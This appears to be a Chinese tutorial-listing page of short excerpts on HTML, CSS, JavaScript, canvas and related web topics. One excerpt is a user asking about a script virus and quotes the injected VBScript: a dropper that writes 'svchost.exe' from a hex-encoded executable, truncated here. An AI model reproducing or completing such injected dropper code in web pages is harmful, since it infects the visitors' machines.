HTML - 技术教程文章

HTML 框架【图】

html 框架分两种:frameset和iframe这里主要说一下第二种:iframeiframe 在原来的页面嵌入一个小窗口(页面)<iframe src="http://www.baidu.com" width="400"height="400"></iframe>src=“地址” width 宽度 height 高度 --在这个页面中嵌入一个百度 标题栏小图标:<title>百度一下,你就知道</title> 标题栏名字在title里面<link rel="shortcut icon" type="image/x-icon" href="images/bd.ico" media="screen" />链接的...

青瓷引擎打造HTML5游戏第一弹——《神奇的六边形》Part 4【图】

近期出现一款魔性的消除类HTML5游戏《神奇的六边形》,今天我们一起来看看如何通过开源免费的青瓷引擎(www.zuoyouxi.com)来实现这款游戏。?(点击图片可进入游戏体验)因内容太多,为方便大家阅读,所以分成四部分来讲解。本文为第四部分,主要包括:16.分数往上飘动画17.形状飞入动画18.其他动画表现添加19.游戏结束界面20. 添加LOGO21. 渲染优化若要一次性查看所有文档,也可点击这里。十六. 分数往上飘的动画在表现加分时,分...

HTML弹窗设计二

<!DOCTYPE html><html> <head> <title>模态框弹出层.html</title> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="this is my page"> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <style> *{margin:0;padding:0;} body{ width:100%; height:10000000px; } #mask{ ...

实现简单的网页登录注册功能 (使用html和css以及javascript技术) 没有美化的日后补全【代码】【图】

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>账号注册</title><style>select {width: 100px;padding: 5px;font-size:16px;}</style> </head> <body> <!--要实现的功能: 账号 密码 性别 <爱好> 地址出生年月 头像 相册 邮箱 电话 肤色 音量 个人简介--> <form action="demo01.html"method="post"> <!--账号开始--><p>账号:<input type="text"name="userCode"required placeholder="请输入账号:...

innerHTM,LouertHTML,innerText,outerText,nodeValue区别【代码】【图】

1.innerHTML   写入的标签会被解析成元素  oBox.innerHTML = "<strong>123</strong>";    返回包括标签在内的所有内容   console.log(oBox.innerHTML); 2.outerHTML   设置/修改包括自身元素在内的内容   会解析标签 3.innerText  写入的标签不会被解析 当做文本插入  oBox.innerText = "<strong>123</strong>";   返回标签中的文本内容(不包括标签   console.log(oBox.innerText);   只获取其中文本文...

吴裕雄--天生自然HTML学习笔记:HTML <head>【代码】

<!DOCTYPE html><html><head><meta charset="utf-8"><title>我的 HTML 的第一页</title></head><body><p>浏览器中包含body元素的内容。</p><p>浏览器的标题包含title元素的内容</p></body></html>使用 <title> 标签定义HTML文档的标题<!DOCTYPE html><html><head><meta charset="utf-8"><title>菜鸟教程(runoob.com)</title><base href="//www.runoob.com/images/" target="_blank"></head><body><img src="logo.png"> - 注意这里我...

html textarea 获取换行显示

html textarea 获取换行显示 参考资料:http://www.cnblogs.com/zhenmingliu/archive/2011/12/27/2303931.html原文:http://www.cnblogs.com/springlight/p/6109389.html

html之label标签【图】

label标签为input元素定义标注,label标签与相关元素通过id属性绑定在一起。相关属性:  for:规定label绑定到哪个表单元素  form:规定label字段所属的一个或多个表单示例代码:效果图: 原文:http://www.cnblogs.com/kongzhagen/p/6116910.html

如何在html 中引入其它html文件

这里给出 三种 html文件引入其它html文件的方法:1.IFrame引入<IFRAME NAME="content_frame" width=100% height=30 marginwidth=0 marginheight=0 SRC="import.htm" ></IFRAME> 你会看到一个外部引入的文件,但会发现有一个类似外框的东西将其包围,可使用<iframename="content_frame" marginwidth=0 marginheight=0 width=100% height=30 src="import.htm" frameborder=0></iframe> 2.<object>方式<object style="border:0px" t...

HTML5 Canvas核心技术—图形、动画与游戏开发.pdf7【图】

性能运行putImageData()比drawImage()慢,同等条件下优先考虑drawImage()操作图像数据需要遍历大量数据,应该注意几点:1)避免在循环体中直接访问对象属性,应当保存在局部变量中2)应该用循环计数器遍历完整的像素,而非像素分量(每4个一组)3)逆向遍历与移位技巧效果并不好4)不要频繁使用getImagedata()视频处理var video=document.getElementById(‘video‘);  //A <video>element  ...context.drawImage(video,0,0); ...

今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本,WriteData 是什么鬼?【代码】

今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本:WriteData 是什么鬼? <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000...

JavaScript与Html的两种结合方式

第一种:直接在html文件中书写JS代码 例子:<script type="text/javascript"> /*JS代码*/ </script> 第二种:在一个单独的文件中书写JS代码,然后在这个html页面中引入这个js文件 例子:<script type="text/javascript" src="js/01.js"></script> 注意事项:在同一个script标签中,使用script标签引入外部的js时,不能再写js代码,即便写也不会执行;即在同一个script中不能同时使用两种结合方式,如果都...

为重负网络优化 Nginx 和 Node.js --引用自https://linux.cn/article-1314-1.html【代码】

为重负网络优化 Nginx 和 Node.js在搭建高吞吐量web应用这个议题上,NginX和Node.js可谓是天生一对。他们都是基于事件驱动模型而设计,可以轻易突破Apache等传统web服务器的C10K瓶颈。预设的配置已经可以获得很高的并发,不过,要是大家想在廉价硬件上做到每秒数千以上的请求,还是有一些工作要做的。这篇文章假定读者们使用NginX的HttpProxyModule来为上游的node.js服务器充当反向代理。我们将介绍Ubuntu 10.04以上系统sysctl的调...

jquery使用模板动态添加html元素,相当于jstl里的foreach【代码】【图】

jquery使用模板动态添加html元素1、开发的时候有时候要循环加载list,通常我们在页面使用<c:foreach>标签循环加载后台传过来的数据。<c:forEach items="${srModel.bplbatchplanitem}" var="items" varStatus="s"><tr><td><input name="itemId" type="checkbox" value="${items.id}" mtype="${items.materialType}"></td><td>${items.attr1}</td><td>${items.materialCode}</td><td>${items.materialType}</td><td>${items.material...

HTML元素 属性 格式化标签【代码】

一、HTML元素: 1.元素指的是从开始标签到结束标签的所有代码 <p>This is my web page.</p> 开始标签:<p> 结束标签:</p> 元素内容:This is my web page. 2.HTML元素语法 元素的内容是开始标签与结束标签之间的内容 空元素在开始标签中进行关闭 大多数HTML元素可拥有属性 3.嵌套的HTML元素 大多数HTML元素都是可以嵌套的二、HTML属性 1.标签可以拥有属性...

HTML表格的简单使用1【代码】

1<!DOCTYPE html> 2<html> 3<head> 4<meta charset="UTF-8"> 5<title></title> 6<style type="text/css"> 7 8/* 9 * 设置表格的宽度10*/ 11 table{ 12 width: 300px; 13/*居中*/ 14 margin: 0 auto; 15/*边框*/ 16/*border:1px solid black;*/ 17/* 18 * table和td边框之间默认有一个距离19 * 通过border-spacing属性可以设置这...

html5 storage事件【代码】【图】

HTML5 虽然很多年了,但是真的了解不不够不够。主题说的是 storage时间,说起对 storage 事件的了解还是从 QQ音乐 说起。QQ音乐的主页是 https://y.qq.com , 而实际播放的页面是 https://y.qq.com/portal/player.html。你在其他里面点击播放或者添加的时候,你会发现 https://y.qq.com/portal/player.html 会实时的变化。当前我想,这个神奇啊,当前想法是如下,可是怎么想都比较low啊。1. 存入 localStorage 或者 indexedDB里面,...

html5 canvas 实现倒计时 功能【代码】【图】

function showTime(a) {var b = {id: "showtime", //canvasidx: 60, //中心点坐标 X轴;y: 60, //中心点坐标 Y轴;radius: 60, //圆的半径angle: 0, //角度 无需设置linewidth: 6, //线的宽度backround: "#d65554", //倒计时背景色color: "#e4e4e4", //填充色day: 0,time: 0,minute: 0,seconds: 0}if (a) {b = $.extend(b, a);}this.total = 0;this.id = b.id;this.x = b.x;this.y = b.y;this.radius = b.radius;this.angle = b.angl...

HTML5语义化元素你真的用的正确吗【代码】【图】

HTML5语义元素 语义学是研究语言中单词和短语的含义。语义元素=具有意义的元素。 语义元素清楚地描述了它对浏览器和开发人员的意义。 非语义元素的示例:<div>和<span>- 对其内容一无所知。 语义元素的示例:<form>,<table>和<article>- 清楚地定义其内容。 所有现代浏览器都支持HTML5语义元素。HTML5新语义元素许多网站都包含HTML代码,例如:<div id ="nav"> <div class ="header"> <div id ="footer"> 以指示导航,页眉和页脚。...

htm、html、shtml网页区别

接下来我们来了解下htm、shtml、html这三者之间区别。 首先htm、html、shtml都是静态网页的后缀,三者也可以说都是只是扩展名不同,其他一样,都是静态的网页。 Htm和html是完全静态的网页不通过服务器编译解释直接送出给浏览器读取的静态网页,以Htm和html伪静态Request除外。html、htm、shtml、shtm均是静态html网页。都是网页文件后缀名不同的html网页扩展名。一、Html与htm - TOP.html与.htm均是静态网页后缀名,网页文件...

HTML5 - canvas标签【代码】

canvas标签<!doctype html><htmllang="zh-CN"><head><metacharset="utf-8" /><title>canvas标签</title><head><body><!-- canvas的宽和高建议直接使用width、height属性设置,同时不要指定单位px --><canvasid="canvas"width="500"height="800"style="background:#ccc;">您的浏览器不支持canvas标签,请升级浏览器!</canvas><script>//获取画布对象var canvas=document.getElementById("canvas");//alert(canvas);//获取用于绘画的...

【HTML】Intermediate1:Span&Div

1.HTML is all bout applying meaning to content. The span & div tags apply no meaning at all=meaningless tags They are used quite extensively in conjunction with CSS. Group together a chunk of HTML and hook some information onto that chunk,with attributes class & id to associate the element with class or id CSS selector.2.span-in-linediv-block-line:having a line-break before and after it 原...

通达OA 小飞鱼工作流在线培训教程(一)HTML基础介绍【图】

应一些刚接触工作流设计朋友的要求,这里开设一个系列教程,对通达OA工作流设计相关的内容做个介绍。方便解决一些日常经常出现的问题,希望对刚刚接触这部分工作的朋友能够有些帮助。工作流设计须要多方面的知识,当中的HTML是最基础的部分,这里先通过大概4小节的课程将HTML部分介绍一下。对于刚接触网页html语言的朋友能够实际操练一下。寻经常常使用的编辑工具能够使用Dreamweaver。记事本或者Editplus、UltraEdit,对于刚開始学...

CSS3+HTML5特效1 - 上下滑动效果【代码】【图】

先看看效果,把鼠标移上去看看。backfront 1. 本实例需要以下元素: a. 外容器 box b. 内容器 border c. 默认显示内容 front d. 滑动内容 back2. 外容器BOX的Height为200px,Width为200px;1.box1{ 2 position: relative; 3 top: 100px; 4 left: 100px; 5 width: 200px; 6 height: 200px; 7 border: 1px solid #ccc; 8 overflow: hidden; 9 }3. 内容器BORDER的Height为200%,Width为100%,Top为-100%; 1.bord...

html5 css

本文转自:http://www.ruanyifeng.com/blog/2012/05/responsive_web_design.html 一、"自适应网页设计"的概念2010年,Ethan Marcotte提出了"自适应网页设计"(Responsive Web Design)这个名词,指可以自动识别屏幕宽度、并做出相应调整的网页设计。他制作了一个范例,里面是《福尔摩斯历险记》六个主人公的头像。如果屏幕宽度大于1300像素,则6张图片并排在一行。如果屏幕宽度在600像素到1300像素之间,则6张图片分成两行。如果屏...

cocos2dx-js 初探 整体流程helloworld.html分析

我们下载的是cocos2dx-js的精简版本,主要是为了分析简单明了,能更清楚的看到架构流程。下载地址:http://cocos2d-x.org/filecenter/jsbuilder/下载轻量版。 ----------------------服务器模拟使用xampp软件。调试使用360浏览器自带调试。开发环境当前没找到一个好的,暂时使用notepad++编辑,如有好的,请告知。-----------------一般学习一个引擎的思路便是阅读引擎自带的demo源码,熟悉架构以及模块。关于demo,我们下载完整版...

去掉html标签

function getridofTag(e, num) { var desc = e; var reg = /<[^<>]+>/g; desc = desc.replace(/<[^<>]+>/g, ‘‘); desc = desc.replace(/\&ensp/g, ":") desc = subdata(desc, num); return desc;}e表示含有html的字段。num表示需要取得字段数量原文:http://www.cnblogs.com/luoshang/p/7284983.html

HTML5 28个新特性

1. 新的Doctype 尽管使用<!DOCTYPE html>,即使浏览器不懂这句话也会按照标准模式去渲染 2. Figure元素 用<figure>和<figcaption>来语义化地表示带标题的图片 <figure> <img src=”path/to/image” alt=”About image” /> <figcaption> <p>This is an image of something interesting. </p> </figcaption> </figure> 3. 重新定义的<small> <small>已经被重新定义了,现在被用来表示小的排版,如网站底部的版权声明 4. 去掉link和s...

HTML5实现下载文件且指定下载文件名【代码】

<a href="/files/adlafjlxjewfasd89asd8f.pdf" download="预算表.pdf">下载支出费用表</a> 原文:http://www.cnblogs.com/leap/p/4985134.html

Android Webview与Html5交互【代码】

转:http://fangjie.info/?p=417#more-417 一、WebView.setWebViewClient(new MyWebViewClient());1.publicboolean shouldOverrideUrlLoading(WebView view, String url) { onWebPageShouldLoad(view, url); //通过returntrue;}在点击请求的是链接是才会调用,重写此方法返回true表明点击网页里面的链接还是在当前的webview里跳转,不跳到浏览器那边。坑爹之处1:Android 2.3.x WebView中的两个搞笑的bug :http://blog.csdn.net/t...